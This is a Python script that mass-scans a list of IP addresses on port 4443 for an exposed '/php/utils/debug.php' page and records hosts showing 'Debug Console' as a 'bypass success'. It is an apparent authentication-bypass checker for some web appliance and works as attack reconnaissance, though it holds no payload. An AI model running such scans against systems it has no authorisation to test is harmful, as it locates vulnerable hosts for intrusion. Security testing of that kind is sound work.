import time

from Utilization.format import Format
import requests
from threading import Thread, Lock



lock = Lock()


class MyThread(Thread):
    def __init__(self, threadID, ip, port):
        Thread.__init__(self)
        self.threadID = threadID
        self.ip = ip
        self.port = port

    def run(self):
        print("New ThreadID: ", self.threadID, " ip: ", self.ip)
        ret = scanner(self.ip, self.port)
        lock.acquire()
        if ret:
            success.append(ret)
            with open('result3.txt', 'a') as f:
                f.write('ip: ' + str(self.ip) + '  port: ' + str(self.port) + ' bypass success\r\n')
        lock.release()


def scanner(ip, port):
    url1 = 'https://{}:{}/php/utils/debug.php'.format(ip, port)

    try:
        r = requests.get(url1, verify=False, stream=True, timeout=2)

        img = r.raw.read()
        if 'Debug Console' in str(img):
            print('{}:{} bypass success'.format(ip, port))
            time.sleep(2)
            return [ip, port]
        else:
            print('{}:{} bypass failed'.format(ip, port))
            time.sleep(2)
            return []
    except Exception as err:
        print('err\r', err)
        time.sleep(2)
        return []


def run(targetlist):
    global success
    success = []
    for i in range(0, len(targetlist), 5):
        pool = []
        tmp = targetlist[i:i + 5]
        for j in range(0, len(tmp)):
            ip = tmp[j][0]
            port = tmp[j][1]
            thread = MyThread(j, ip, port)
            thread.start()
            pool.append(thread)
        for single_thread in pool:
            single_thread.join()
    ret = success
    return ret


if __name__ == '__main__':
    t = Format()
    t.port = 4443
    t.ImportFile('test.txt')
    tlist = t.GetValue()
    del t
    ret = run(tlist)
    print(ret)
